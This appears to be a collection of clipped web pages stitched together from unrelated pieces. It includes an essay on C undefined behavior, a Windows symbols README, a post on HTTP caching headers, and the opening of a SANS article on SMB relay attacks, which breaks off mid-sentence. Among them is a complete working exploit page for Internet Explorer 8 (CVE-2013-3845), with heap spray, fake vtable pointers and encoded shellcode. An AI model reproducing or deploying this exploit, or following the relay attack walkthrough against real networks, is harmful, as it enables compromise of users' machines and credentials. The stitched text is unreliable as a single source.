implementation-defined behavior; we’ll ignore both of these here.

If any step in a program’s execution has undefined behavior, then the entire
execution is without meaning. This is important: it’s not that evaluating
\(1<<32\) has an unpredictable result, but rather that the entire execution of
a program that evaluates this expression is meaningless. Also, it’s not that
the execution is meaningful up to the point where undefined behavior happens:
the bad effects can actually precede the undefined operation.

As a quick example let’s take this program:

[code]

    **#include <limits.h>
    #include <stdio.h>
    
    int main (void)
    {
      printf ("%d\n", (INT_MAX+1) < 0);
      return 0;
    }**
[/code]

The program is asking the C implementation to answer a simple question: if we
add one to the largest representable integer, is the result negative? This is
perfectly legal behavior for a C implementation:

[code]

    **$ cc test.c -o test
    $ ./test
    1**
[/code]

So is this:

[code]

    **$ cc test.c -o test
    $ ./test
    0**
[/code]

And this:

[code]

    **$ cc test.c -o test
    $ ./test
    42**
[/code]

And this:

[code]

    **$ cc test.c -o test
    $ ./test
    Formatting root partition, chomp chomp**
[/code]

One might say: Some of these compilers are behaving improperly because the C
standard says a relational operator must return 0 or 1. But since the program
has no meaning at all, the implementation can do whatever it likes. Undefined
behavior trumps all other behaviors of the C abstract machine.

Will a real compiler emit code to chomp your disk? Of course not, but keep in
mind that practically speaking, undefined behavior often does lead to Bad
Things because many security vulnerabilities start out as memory or integer
operations that have undefined behavior. For example, accessing an out of
bounds array element is a key part of the canonical stack smashing attack. In
summary: the compiler does not need to emit code to format your disk. Rather,
following the OOB array access your computer will begin executing exploit
code, and that code is what will format your disk.

# No Traveling

It is very common for people to say — or at least think — something like this:

> The x86 ADD instruction is used to implement C’s signed add operation, and
> it has two’s complement behavior when the result overflows. I’m developing
> for an x86 platform, so I should be able to expect two’s complement
> semantics when 32-bit signed integers overflow.
**THIS IS WRONG**. You are saying something like this:

> Somebody once told me that in basketball you can’t hold the ball and run. I
> got a basketball and tried it and it worked just fine. He obviously didn’t
> understand basketball.
\(This explanation is due to Roger Miller via Steve Summit.\)

Of course it is physically possible to pick up a basketball and run with it.
It is also possible you will get away with it during a game. However, it is
against the rules; good players won’t do it and bad players won’t get away
with it for long. Evaluating \(INT\_MAX+1\) in C or C++ is exactly the same:
it may work sometimes, but don’t expect to keep getting away with it. The
situation is actually a bit subtle so let’s look in more detail.

First, are there C implementations that guarantee two’s complement behavior
when a signed integer overflows? Of course there are. Many compilers will have
this behavior when optimizations are turned off, for example, and GCC has an
option \(-fwrapv\) for enforcing this behavior at all optimization levels.
Other compilers will have this behavior at all optimization levels by default.

There are also, it should go without saying, compilers that do not have two’s
complement behavior for signed overflows. Moreover, there are compilers \(like
GCC\) where integer overflow behaved a certain way for many years and then at
some point the optimizer got just a little bit smarter and integer overflows
suddenly and silently stopped working as expected. This is perfectly OK as far
as the standard goes. While it may be unfriendly to developers, it would be
considered a win by the compiler team because it will increase benchmark
scores.

In summary: There’s nothing inherently bad about running with a ball in your
hands and also there’s nothing inherently bad about shifting a 32-bit number
by 33 bit positions. But one is against the rules of basketball and the other
is against the rules of C and C++. In both cases, the people designing the
game have created arbitrary rules and we either have to play by them or else
find a game we like better.

# Why Is Undefined Behavior Good?

The good thing — the only good thing\! — about undefined behavior in C/C++ is
that it simplifies the compiler’s job, making it possible to generate very
efficient code in certain situations. Usually these situations involve tight
loops. For example, high-performance array code doesn’t need to perform bounds
checks, avoiding the need for tricky optimization passes to hoist these checks
outside of loops. Similarly, when compiling a loop that increments a signed
integer, the C compiler does not need to worry about the case where the
variable overflows and becomes negative: this facilitates several loop
optimizations. I’ve heard that certain tight loops speed up by 30%-50% when
the compiler is permitted to take advantage of the undefined nature of signed
overflow. Similarly, there have been C compilers that optionally give
undefined semantics to unsigned overflow to speed up other loops.

# Why Is Undefined Behavior Bad?

When programmers cannot be trusted to reliably avoid undefined behavior, we
end up with programs that silently misbehave. This has turned out to be a
really bad problem for codes like web servers and web browsers that deal with
hostile data because these programs end up being compromised and running code
that arrived over the wire. In many cases, we don’t actually need the
performance gained by exploitation of undefined behavior, but due to legacy
code and legacy toolchains, we’re stuck with the nasty consequences.

A less serious problem, more of an annoyance, is where behavior is undefined
in cases where all it does is make the compiler writer’s job a bit easier, and
no performance is gained. For example a C implementation has undefined
behavior when:

> An unmatched ‘ or ” character is encountered on a logical source line during
> tokenization.
With all due respect to the C standard committee, this is just lazy. Would it
really impose an undue burden on C implementors to require that they emit a
compile-time error message when quote marks are unmatched? Even a 30 year-old
\(at the time C99 was standardized\) systems programming language can do
better than this. One suspects that the C standard body simply got used to
throwing behaviors into the “undefined” bucket and got a little carried away.
Actually, since the C99 standard lists 191 different kinds of undefined
behavior, it’s fair to say they got a lot carried away.

# Understanding the Compiler’s View of Undefined Behavior

The key insight behind designing a programming language with undefined
behavior is that the compiler is only obligated to consider cases where the
behavior is defined. We’ll now explore the implications of this.

If we imagine a C program being executed by the C abstract machine, undefined
behavior is very easy to understand: each operation performed by the program
is either defined or undefined, and usually it’s pretty clear which is which.
Undefined behavior becomes difficult to deal with when we start being
concerned with all possible executions of a program. Application developers,
who need code to be correct in every situation, care about this, and so do
compiler developers, who need to emit machine code that is correct over all
possible executions.

Talking about all possible executions of a program is a little tricky, so
let’s make a few simplifying assumptions. First, we’ll discuss a single C/C++
function instead of an entire program. Second, we’ll assume that the function
terminates for every input. Third, we’ll assume the function’s execution is
deterministic; for example, it’s not cooperating with other threads via shared
memory. Finally, we’ll pretend that we have infinite computing resources,
making it possible to exhaustively test the function. Exhaustive testing means
that all possible inputs are tried, whether they come from arguments, global
variables, file I/O, or whatever.

The exhaustive testing algorithm is simple:

  1. Compute next input, terminating if we’ve tried them all
  2. Using this input, run the function in the C abstract machine, keeping track of whether any operation with undefined behavior was executed
  3. Go to step 1

Enumerating all inputs is not too difficult. Starting with the smallest input
\(measured in bits\) that the function accepts, try all possible bit patterns
of that size. Then move to the next size. This process may or may not
terminate but it doesn’t matter since we have infinite computing resources.

For programs that contain unspecified and implementation-defined behaviors,
each input may result in several or many possible executions. This doesn’t
fundamentally complicate the situation.

OK, what has our thought experiment accomplished? We now know, for our
function, which of these categories it falls into:

  * Type 1: Behavior is defined for all inputs
  * Type 2: Behavior is defined for some inputs and undefined for others
  * Type 3: Behavior is undefined for all inputs

# Type 1 Functions

These have no restrictions on their inputs: they behave well for all possible
inputs \(of course, “behaving well” may include returning an error code\).
Generally, API-level functions and functions that deal with unsanitized data
should be Type 1. For example, here’s a utility function for performing
integer division without executing undefined behaviors:

[code]

    **int32_t safe_div_int32_t (int32_t a, int32_t b) {
      if ((b == 0) || ((a == INT32_MIN) && (b == -1))) {
        report_integer_math_error();
        return 0;
      } else {
        return a / b;
      }
    }**
[/code]

Since Type 1 functions never execute operations with undefined behavior, the
compiler is obligated to generate code that does something sensible regardless
of the function’s inputs. We don’t need to consider these functions any
further.

# Type 3 Functions

These functions admit no well-defined executions. They are, strictly speaking,
completely meaningless: the compiler is not even obligated to generate even a
return instruction. Do Type 3 functions really exist? Yes, and in fact they
are common. For example, a function that — regardless of input — uses a
variable without initializing it is easy to unintentionally write. Compilers
are getting smarter and smarter about recognizing and exploiting this kind of
code. Here’s a great example from the Google Native Client project:

> `When returning from trusted to untrusted code, we must sanitize the return
> address before taking it. This ensures that untrusted code cannot use the
> syscall interface to vector execution to an arbitrary address. This role is
> entrusted to the function NaClSandboxAddr, in sel_ldr.h. Unfortunately,
> since r572, this function has been a no-op on x86.`
> ```-- What happened?`
> `During a routine refactoring, code that once read `
> ` aligned_tramp_ret = tramp_ret & ~(nap->align_boundary - 1);`
> `was changed to read `
> ` return addr & ~(uintptr_t)((1 << nap->align_boundary) - 1);`
> `Besides the variable renames (which were intentional and correct), a shift
> was introduced, treating nap->align_boundary as the log2 of bundle size.`
> `We didn't notice this because NaCl on x86 uses a 32-byte bundle size. On
> x86 with gcc, (1 << 32) == 1. (I believe the standard leaves this behavior
> undefined, but I'm rusty.) Thus, the entire sandboxing sequence became a no-
> op.`
> `This change had four listed reviewers and was explicitly LGTM'd by two.
> Nobody appears to have noticed the change.`
> `-- Impact`
> `There is a potential for untrusted code on 32-bit x86 to unalign its
> instruction stream by constructing a return address and making a syscall.
> This could subvert the validator. A similar vulnerability may affect x86-
> 64.`
> `ARM is not affected for historical reasons: the ARM implementation masks
> the untrusted return address using a different method.`
What happened? A simple refactoring put the function containing this code into
Type 3. The person who sent this message believes that x86-gcc evaluates
\(1<<32\) to 1, but there’s no reason to expect this behavior to be reliable
\(in fact it is not on a few versions of x86-gcc that I tried\). This
construct is definitely undefined and of course the compiler can do done
anything it wants. As is typical for a C compiler, it chose to simply not emit
the instructions corresponding to the undefined operation. \(A C compiler’s
\#1 goal is to emit efficient code.\) Once the Google programmers gave the
compiler the license to kill, it went ahead and killed. One might ask:
Wouldn’t it be great if the compiler provided a warning or something when it
detected a Type 3 function? Sure\! But that is not the compiler’s priority.

The Native Client example is a good one because it illustrates how competent
programmers can be suckered in by an optimizing compiler’s underhanded way of
exploiting undefined behavior. A compiler that is very smart at recognizing
and silently destroying Type 3 functions becomes effectively evil, from the
developer’s point of view.

# Type 2 Functions

These have behavior that is defined for some inputs and undefined for others.
This is the most interesting case for our purposes. Signed integer divide
makes a good example:

[code]

    **int32_t unsafe_div_int32_t (int32_t a, int32_t b) {
      return a / b;
    }**
[/code]

This function has a precondition; it should only be called with arguments that
satisfy this predicate:

[code]

    **(b != 0) && (!((a == INT32_MIN) && (b == -1)))**
[/code]

Of course it’s no coincidence that this predicate looks a lot like the test in
the Type 1 version of this function. If you, the caller, violate this
precondition, your program’s meaning will be destroyed. Is it OK to write
functions like this, that have non-trivial preconditions? In general, for
internal utility functions this is perfectly OK as long as the precondition is
clearly documented.

Now let’s look at the compiler’s job when translating this function into
object code. The compiler performs a case analysis:

  * Case 1: `(b != 0) && (!((a == INT32_MIN) && (b == -1)))`  
Behavior of / operator is defined → Compiler is obligated to emit code
computing a / b

  * Case 2: `(b == 0) || ((a == INT32_MIN) && (b == -1))`  
Behavior of / operator is undefined → Compiler has no particular obligations

Now the compiler writers ask themselves the question: What is the most
efficient implementation of these two cases? Since Case 2 incurs no
obligations, the simplest thing is to simply not consider it. The compiler can
emit code only for Case 1.

A Java compiler, in contrast, has obligations in Case 2 and must deal with it
\(though in this particular case, it is likely that there won’t be runtime
overhead since processors can usually provide trapping behavior for integer
divide by zero\).

Let’s look at another Type 2 function:

[code]

    **int stupid (int a) {
      return (a+1) > a;
    }**
[/code]

The precondition for avoiding undefined behavior is:

[code]

    **(a != INT_MAX)**
[/code]

Here the case analysis done by an optimizing C or C++ compiler is:

  * Case 1: **`a != INT_MAX`**  
Behavior of + is defined → Computer is obligated to return 1

  * Case 2: **`a == INT_MAX`**  
Behavior of + is undefined → Compiler has no particular obligations

Again, Case 2 is degenerate and disappears from the compiler’s reasoning. Case
1 is all that matters. Thus, a good x86-64 compiler will emit:

[code]

    **stupid:
      movl $1, %eax
      ret**
[/code]

If we use the -fwrapv flag to tell GCC that integer overflow has two’s
complement behavior, we get a different case analysis:

  * Case 1: **`a != INT_MAX`**  
Behavior is defined → Computer is obligated to return 1

  * Case 2: **`a == INT_MAX`**  
Behavior is defined → Compiler is obligated to return 0

Here the cases cannot be collapsed and the compiler is obligated to actually
perform the addition and check its result:

[code]

    **stupid:
      leal 1(%rdi), %eax
      cmpl %edi, %eax
      setg %al
      movzbl %al, %eax
      ret**
[/code]

Similarly, an ahead-of-time Java compiler also has to perform the addition
because Java mandates two’s complement behavior when a signed integer
overflows \(I’m using GCJ for x86-64\):

[code]

    **_ZN13HelloWorldApp6stupidEJbii:
      leal 1(%rsi), %eax
      cmpl %eax, %esi
      setl %al
      ret**
[/code]

This case-collapsing view of undefined behavior provides a powerful way to
explain how compilers really work. Remember, their main goal is to give you
fast code that obeys the letter of the law, so they will attempt to forget
about undefined behavior as fast as possible, without telling you that this
happened.

# A Fun Case Analysis

About a year ago, the Linux kernel started using a special GCC flag to tell
the compiler to avoid optimizing away useless null-pointer checks. The code
that caused developers to add this flag looks like this \(I’ve cleaned up the
example just a bit\):

[code]

    **static void __devexit agnx_pci_remove (struct pci_dev *pdev)
    {
      struct ieee80211_hw *dev = pci_get_drvdata(pdev);
      struct agnx_priv *priv = dev- >priv; 
    
      if (!dev) return;**
[/code]

[code]

    **... do stuff using dev ...
    }**
[/code]

The idiom here is to get a pointer to a device struct, test it for null, and
then use it. But there’s a problem\! In this function, the pointer is
dereferenced before the null check. This leads an optimizing compiler \(for
example, gcc at -O2 or higher\) to perform the following case analysis:

  * Case 1: **`dev == NULL`**  
“dev->priv” has undefined behavior → Compiler has no particular obligations

  * Case 2: **`dev != NULL`**  
Null pointer check won’t fail → Null pointer check is dead code and may be
deleted

As we can now easily see, neither case necessitates a null pointer check. The
check is removed, potentially creating an exploitable security vulnerability.

Of course the problem is the use-before-check of pci\_get\_drvdata\(\)’s
return value, and this has to be fixed by moving the use after the check. But
until all such code can be inspected \(manually or by a tool\), it was deemed
safer to just tell the compiler to be a bit conservative. The loss of
efficiency due to a predictable branch like this is totally negligible.
Similar code has been found in other parts of the kernel.

# Living with Undefined Behavior

In the long run, unsafe programming languages will not be used by mainstream
developers, but rather reserved for situations where high performance and a
low resource footprint are critical. In the meantime, dealing with undefined
behavior is not totally straightforward and a patchwork approach seems to be
best:

  * Enable and heed compiler warnings, preferably using multiple compilers
  * Use static analyzers \(like Clang’s, Coverity, etc.\) to get even more warnings
  * Use compiler-supported dynamic checks; for example, gcc’s -ftrapv flag generates code to trap signed integer overflows
  * Use tools like Valgrind to get additional dynamic checks
  * When functions are “type 2″ as categorized above, document their preconditions and postconditions
  * Use assertions to verify that functions’ preconditions are postconditions actually hold
  * Particularly in C++, use high-quality data structure libraries

﻿﻿Basically: be very careful, use good tools, and hope for the best.

# AndreyBazhan/SymStore

**Created:**| _3/2/2019 6:06:11 PM_  
---|---  
**Updated:**| _3/2/2019 6:06:11 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# SymStore

This repository contains header files with structures, unions, enums, global
variables and functions names from the symbol files for the core Windows
operating system components, and tools to help get and compare the files.

_Note: Because there is no correct way to get information about nested unnamed
structures and unions, some structures and unions are not the exact copy of
the original._

## How to install tools

### Symbols Explorer

  1. Download Symbols Explorer.
  2. Copy SymExp.exe to a Debugging Tools for Windows folder. For example: C:\Program Files \(x86\)\Windows Kits\10\Debuggers\x64.

### Symbols Scripts

  1. Copy Symbols folder from the Tools folder to "C:\Users\**\{UserName\}** \Documents\WindowsPowerShell\Modules".

### Diff

  1. Install Visual Studio Editor.
  2. Copy Diff.bat from the Tools folder to "C:\Users\**\{UserName\}** \AppData\Roaming\Microsoft\Windows\SendTo".

## How to compare header files

  1. Select two header files.
  2. Right click on the first file and then select "Send To->Diff" from the context menu.

## How to download symbol and image files

[code]

    Get-Symbols -FilePath "C:\SymStore\Manifest.txt" -Destination "C:\SymStore\Symbols"
[/code]

_Note: Unfortunately, some symbol and image files are missing from the
Microsoft symbol server and some image files are stored with original name and
SymChk from Debugging Tools for Windows is not able to download those image
files._

## How to store image files by version

[code]

    Add-ImageFile -FilePath "C:\SymStore\Symbols\ntoskrnl.exe\a45bf00aa6f000\ntoskrnl.exe" -Destination "C:\SymStore\Binaries"
    Add-ImageFiles -Path "C:\SymStore\Symbols" -Destination "C:\SymStore\Binaries"
    Add-ImageFiles -Path "C:\SymStore\Symbols" -Destination "C:\SymStore\Binaries" -Include *.exe
    Add-ImageFiles -Path "C:\SymStore\Symbols" -Destination "C:\SymStore\Binaries" -Include hal*.dll
[/code]

## How to get header files

[code]

    New-HeaderFile -FilePath "C:\SymStore\Binaries\ntoskrnl.exe\10.0.17763.316\x64\ntoskrnl.exe" -Destination "C:\SymStore\Include\ntoskrnl.exe"
    New-HeaderFiles -Path "C:\SymStore\Binaries" -Destination "C:\SymStore\Include\ntoskrnl.exe" -Include nt*.exe
    New-HeaderFiles -Path "C:\SymStore\Binaries" -Destination "C:\SymStore\Include\ntdll.dll" -Include ntdll.dll
    New-HeaderFiles -Path "C:\SymStore\Binaries" -Destination "C:\SymStore\Include\hal.dll" -Include hal*.dll
[/code]

## Windows Version Information

Version | Name  
---|---  
5.0.2195.7376 | Windows 2000 SP4  
5.1.2600.0 | Windows XP  
5.1.2600.1106 | Windows XP SP1\*  
5.1.2600.2180 | Windows XP SP2  
5.1.2600.6419 | Windows XP SP3  
5.2.3790.0 | Windows Server 2003\*  
5.2.3790.1830 | Windows Server 2003 SP1  
5.2.3790.3959 | Windows Server 2003 SP2  
6.0.6000.16386 | Windows Vista  
6.0.6001.18000 | Windows Vista SP1  
6.0.6002.18005 | Windows Vista SP2  
6.1.7600.16385 | Windows 7  
6.1.7601.17514 | Windows 7 SP1  
6.2.9200.16384 | Windows 8  
6.3.9600.16384 | Windows 8.1  
6.3.9600.17031 | Windows 8.1 Update  
10.0.10240.16384 | Windows 10 1507  
10.0.10586.0 | Windows 10 1511  
10.0.14393.0 | Windows 10 1607  
10.0.15063.0 | Windows 10 1703  
10.0.16299.15 | Windows 10 1709  
10.0.17134.1 | Windows 10 1803  
10.0.17763.1 | Windows 10 1809  
\* Header files are not present because there are no symbol files on the
Microsoft symbol server.

  

# CVE-2013-3845

**Created:**| _10/29/2013 9:36:39 AM_  
---|---  
**Updated:**| _10/29/2013 9:42:10 AM_  
**Author:**| __  
**Tags:**| _Exploit Examples programming windows environment bin-diffing
patch-based_  
  

[code]

    <!DOCTYPE HTML>
    <html>
    	<script>
    		
    		/*
    		
    			- Microsoft Internet Explorer 8 (mshtml!CTreePos) use-after-free vulnerability
    			- IDs: MS-13-069/CVE-2013-3845
    			- Tested against Windows XP SP3 Spanish language (before September'13 patches)
    			- Credits to Jose A. Vazquez of Yenteasy - Security Research - 
    		
    		*/
    		var heap = new Array();
    		var nop = unescape("%ucaca%ucaca");//Nop
    		
    		//Prepare the path to gain the control over EIP
    		var code = unescape("%u0428%u0c0d");//Pointer needed (This will come from [edi+edx*8-28h])
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += unescape("%u4101%u4141");//Filler (Here goes the checks of [edi] = al = 0x03)
    		code += nop;//Filler
    		code += nop;//Filler
    		code += unescape("%u0438%u0c0d");//Pointer needed
    		code += unescape("%u4343%u4343");//esi (This from [ecx+1c] = [[edi+edx*8-28h] + 1c])
    		code += nop;//Filler
    		code += unescape("%u044c%u0c0d");//vtable/vtable pointer for fake TreeNode (From [ecx+24h] =  [[edi+edx*8-28h] + 24h]))
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += nop;//Filler
    		code += unescape("%u048c%u0c0d");//eip
    		var rop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
    		shellcode = unescape("%u9090%u9090%u9090%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%ue367%u8bec%u207b%uef01%u7c8b%ufc8f%uef01%uc031%u3299%u6617%ucad1%u75ae%u66f8%ufa81%uf510%ue3e0%ucd75%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u6897%u652e%u6578%u6368%u6c61%u5463%u0487%u5024%ud5ff%u5858%u5890%ucccc%ucccc");
    		var offset = 0x200;
    		var nopsled = nop;	//Filler
    		while (nopsled.length < 0x1000) nopsled += nopsled;
    		var chunks = nopsled.substring(0,offset) + code + rop + shellcode;
    		chunks += nopsled.substring(0,0x800-offset-code.length-rop.length-shellcode.length);
    		
    		while (chunks.length < 0x80000) chunks += chunks;
    		
    		//Allocate the chunks
    		for (var i = 0; i < 0x700; i++){
    			heap.push(chunks.substring(0,0x40000-0x21));
    		}
    
    		//Trying it again
    		function tryAgain(){
    			location.reload();
    		}
    		
    		//Allocating an array of fake objects
    		function fakeObject(size, divs){
    			var pointer = unescape("%u0434%u0c0d");
    			while(pointer.length < 0x100) pointer +=  unescape("%u0434%u0c0d");
    			var fake = pointer.substring(0, (size-6)/2);
    			for(var i=0;i<divs.length;i++){
    				divs[i].className = fake;
    			}
    		}
    		
    		//Creating an array of Divs working as allocators
    		function getAllocator(num){
    			var obj = new Array();
    			for(var i=0;i<num;i++){
    				var dive = document.createElement("div");
    				obj.push(dive);
    			}
    			return obj;
    		}
    		
    		//Triggering the UAF
    		function Trigger(){
    			for(i=0;i<document.getElementsByTagName("textarea").length;i++){
    				document.getElementsByTagName("textarea")[i].innerHTML = 'foo';
    			}
    			for(i=0;i<document.getElementsByTagName("textarea").length;i++){
    				var cdivs = getAllocator(0x100);//Get ready 0x100 objects
    				fakeObject(0x60, cdivs);//Object size: 0x60 bytes
    				document.getElementsByTagName("textarea")[i].scrollHeight;
    			}
    		}
    		
    		setTimeout("tryAgain()", 3000);
    		
    	</script>
    	<style>
    	
    		textarea{
    			display: ruby;
    		}
    		
    	</style>
    	<textarea><script>Trigger();</script></textarea>
    	<form><script>foo();</script><script>Trigger();</script></form>
    </html>
[/code]

# ISC Diary | The Security Impact of HTTP Caching Headers
**Created:**| _11/20/2013 10:56:14 AM_  
---|---  
**Updated:**| _11/20/2013 10:56:14 AM_  
**Author:**| __  
**Tags:**| _browser cookies cache_  
  

# The Security Impact of HTTP Caching Headers****

Published: 2013-11-15,  
Last Updated: 2013-11-15 15:59:19 UTC  
by Johannes Ullrich  \(Version: 1\)

2 comment\(s\)

Earlier this week, an update for Media-Wiki fixed a bug in how it used caching
headers \[2\]**.** The headers allowed authenticated content to be cached,
which may lead to sessions being shared between users using the same proxy
server**.** I think this is a good reason to talk a bit about caching in web
applications and why it is important for security**.**

First off all: If your application is https only, this may not apply to
you**.** The browser does not typically cache HTTPS content, and proxies will
not inspect it**.** However, HTTPS inspecting proxies are available and common
in some corporate environment so this \*may\* apply to them, even though I
hope they do not cache HTTPS content**.**

It is the goal of properly configured caching headers to avoid having
personalized information stored in proxies**.** The server needs to include
appropriate headers to indicate if the response may be cached**.**

###  Caching Related Response Headers****

**Cache-Control**

This is probably the most important header when it comes to security**.**
There are a number of options associated with this header**.** Most
importantly, the page can be marked as "private" or "public"**.** A proxy will
not cache a page if it is marked as "private"**.** Other options are sometimes
used inappropriately**.** For example the "no-cache" option just implies that
the proxy should verify each time the page is requested if the page is still
valid, but it may still store the page**.** A better option to add is "no-
store" which will prevent request and response from being stored by the
cache**.** The "no-transform" option may be important for mobile users**.**
Some mobile providers will compress or alter content, in particular images, to
save bandwidth when re-transmitting content over cellular networks**.** This
could break digital signatures in some cases. "no-transform" will prevent that
\(but again: doesn't matter for SSL**.** Only if you rely on digital
signatures transmitted to verify an image for example\).The "max-age" option
can be used to indicate how long a response can be cached**.** Setting it to
"0" will prevent caching.

A "safe" Cache-Control header would be:

Cache-Control: private, no-cache, no-store, max-age=0

**Expires**

Modern browsers tend to rely less on the Expires header**.** However, it is
best to stay consistent. A expiration time in the past, or just the value "0"
will work to prevent caching**.**

**ETag**

The ETag will not prevent caching, but will indicate if content changed**.**
The Etag can be understood as a serial number to provide a more granular
identifcation of stale content**.** In some cases the ETag is derived from
information like file inode numbers that some administrators don't like to
share**.** A nice way to come up with an Etag would be to just send a random
number, or not to send it at all**.** I am not aware of a way to randomize the
Etag.

**Pragma**

Thie is an older header, and has been replaced by the "Cache-Control"
header**.** "Pragma: no-cache" is equivalent to "Cache-Control: no-cache"**.**

**Vary**

The "vary" header is used to ignore certain header fields in requests**.** A
Cache will index all stored responses based on the content of the request**.**
The request consist not just of the URL requested, but also other headers like
for example the User-Agent field**.** You may decide to deliver the same
content independent of the user agent, and as a result, "Vary: User-Agent"
would help the proxy to identify that you don't care about the user agent**.**
For out discussion, this doesn't really matter because we never want the
request or response to be cached so it is best to have no Vary header**.**

In summary, a safe set of HTTP response headers may look like:

[code]

    Cache-Control: private, no-cache, no-store, max-age=0, no-transform
    Pragma: no-cache
    Expires: 0
[/code]

The "Cache-Control" header is probably overdone in this example, but should
cover various implementations**.**

A nice tool to test this is ratproxy, which will identify inconsistent cache
headers \[3\]**.** For example, ratproxy will alert you if a "Set-Cookie"
header is sent with a cachable response**.**

Anything I missed? Any other suggestions for proper cache control**?**

References:

\[1\] http://www.ietf.org/rfc/rfc2616.txt  
\[2\] https://bugzilla.wikimedia.org/show\_bug.cgi**?** id=53032  
\[3\] https://code.google.com/p/ratproxy/

\------  
Johannes B. Ullrich, Ph**.** D.  
SANS Technology Institute  
Twitter

2 comment\(s\) ****

# Entropia Project

**Created:**| _6/4/2010 1:04:56 PM_  
---|---  
**Updated:**| _6/4/2010 1:04:56 PM_  
**Author:**| __  
**Tags:**| _security tools crypto awesome_  
  
The goal of the Entropia Project is to develop systematic strategies and
methodologies to do \(semi-\)automated analysis of \(pseudo-\)random generated
values.  
  
The basic idea is to create a framework which is able to dissect lists of
random values. This could be hash values, session ids or TAN lists.  
  
By identifying patterns the underlying algorithms shall be revealed. This
makes it possible to launch target-oriented attacks on the values. Further
analysis makes it possible to find flaws in the generation of the random
values \(e.g. repeating patterns\).  
  

<img src='img/Temp2_2728.jpg' alt='Screenshot' />  
Screenshot of an early beta version analyzing a TAN list

# Clip:
https://metasploit.com/svn/framework3/unstable/modules/exploits/incomplete/windows/scada/issymbol\_openscreen.rb

**Created:**| _5/15/2011 7:46:32 PM_  
---|---  
**Updated:**| _5/15/2011 7:46:32 PM_  
**Author:**| __  
**Tags:**| __  
  
\#\# \# $Id$ \#\# \#\# \# This file is part of the Metasploit Framework and
may be subject to \# redistribution and commercial restrictions. Please see
the Metasploit \# Framework web site for more information on licensing and
terms of use. \# http://metasploit.com/framework/ \#\#

# SANS Penetration Testing | SMB Relay Demystified and NTLMv2 Pwnage with Python | SANS Institute
**Created:**| _9/23/2018 8:39:23 AM_  
---|---  
**Updated:**| _9/23/2018 8:39:23 AM_  
**Author:**| _wishi_  
**Tags:**| _windows security smb_  
  

  

**25** Apr **2013**

## SMB Relay Demystified and NTLMv2 Pwnage with Python

11 comments Posted by eskoudis  
Filed under Metasploit, Methodology, Passwords, Python

By Mark Baggett

 _\[Editor's Note: In this \_excellent\_ article, Mark Baggett explains in
detail how the very powerful SMBRelay attack works and offers tips for how
penetration testers can operationalize around it. And, bet yet, about 2/3rds
of the way in, Mark shows how you can use a Python module to perform these
attacks in an environment that uses only NTLMv2, a more secure Windows
authentication mechanism. Really good stuff\! -Ed.\]_

The SMB Relay attack is one of those awesome tactics that really helps
penetration testers demonstrate significant risk in a target organization; it
is reliable, effective, and almost always works. Even when the organization
has good patch management practices, the SMB Relay attack can still get you
access to critical assets. Most networks have several automated systems that
connect to all the hosts on the network to perform various management tasks.
For example, software inventory systems, antivirus updates, nightly backups,
software updates and patch management, desktop backups, event log collectors,
and other processes will routinely connect to every host on the network, login
with administrative credentials and perform some management function.

In some organizations, active defense systems such as Antivirus Rogue host
detection will immediately attempt to login to any host that shows up on the
network. These systems will typically try long lists of administrative
usernames and passwords as they try to gain access to the unknown host that
has mysteriously appeared on the network. SMB Relay attacks allow us to grab
these authentication attempts and use them to access systems on the network.
In a way, SMB Relays are the network version of Pass the Hash attacks \(which
Ed Skoudis described briefly in the context of psexec in his Pen Tester's
Pledge article\). Let's look at how these attacks work.

NTLM is a challenge/response protocol. The authentication happens something
like this: First, the client attempts to login and the server responds with a
challenge. In effect the server says, "If you are who you say you are, then
encrypt this thing \(Challenge X\) with your hash." Next, the client encrypts
the challenge and sends back the encrypted challenge response. The server then
attempts to decrypt that encrypted challenge response with the user's password
hash. If it decrypts to reveal the challenge that it sent, then the user is
authenticated. Here is an illustration of a challenge/response authentication.

<img src='img/smbrelaypic-challengeauth2.png' width='615' height='388' />

With SMB Relay attacks, the attacker inserts himself into the middle of that
exchange. The attacker selects the target server he wants to authenticate to
and then the attacker waits for someone on the network to authenticate to his
machine. This is where rogue host detection, vulnerability scanners, and
administrator scripts that automatically authenticate to hosts become a
penetration tester's best friends. When the automated process connects to the
attacker, he passes the authentication attempt off to his target \(another
system on the network, perhaps a server\). The target generates a challenge
and sends it back to the attacker. The attacker sends the challenge back to
the originating scanning system. The scanning system encrypts the hash with
the correct password hash and sends it to the attacker. The attacker passes
the correctly encrypted response back to his target and successfully
authenticates. This process is shown in the next illustration. The BLUE arrows
are the original communications and the RED arrows are slightly modified
versions of those communications that the attacker is relaying to his target,
so that he can gain access to it.

<img src='img/smbrelaypic2-relaydiagram.png' width='640' height='416' />

Although this may seem complicated, it is actually very easy to exploit. In
this example, the attacker \(let's say he's at IP address 10.10.12.10\) wants
to gain access to the server at the IP address 10.10.12.20 \(perhaps a juicy
file server\). There is a nightly software inventory process on the server at
10.10.12.19 that inventories all the hosts on the network.

###  **Scenario**

Attacker IP - 10.10.12.10  
Target IP - 10.10.12.20  
Nightly Inventory Scanner IP - 10.10.12.19

Metasploit has an SMB Relay Module and it works wonderfully. The attacker at
10.10.12.10 sets up Metasploit as follows:

<img src='img/smbrelaypic3-MetasploitSetup.png' width='678' height='234' />

I'll use a simple Windows FOR loop to simulate an administrative server
scanning the network and doing inventory. On host 10.10.12.19 I run the
following command.

<img src='img/smbrelaypic4-Forloopscanner.png' width='669' height='523' />

When the scanner \(10.10.12.19\) connects to 10.10.12.10 \(our Metasploit
listener\) the authentication attempt is relayed to the target server
\(10.10.12.20\). The relayed authentication happens like magic and Metasploit
automatically uses the authenticated SMB session to launch the meterpreter
payload on the target. Notice in the figure below that Metasploit sends an
"Access Denied" back to the inventory scanner when it attempted to connect to
10.10.12.10. However, the damage is done and we get a Meterpreter shell on the
attacker's machine running on the target \(10.10.12.20\).

<img src='img/smbrelaypic5-MetasploitExploiting.png' width='680' height='416'
/>

Today, Metasploit's SMB Relay only supports NTLMv1, so organizations can
protect themselves from this attack by changing the AD policy from this
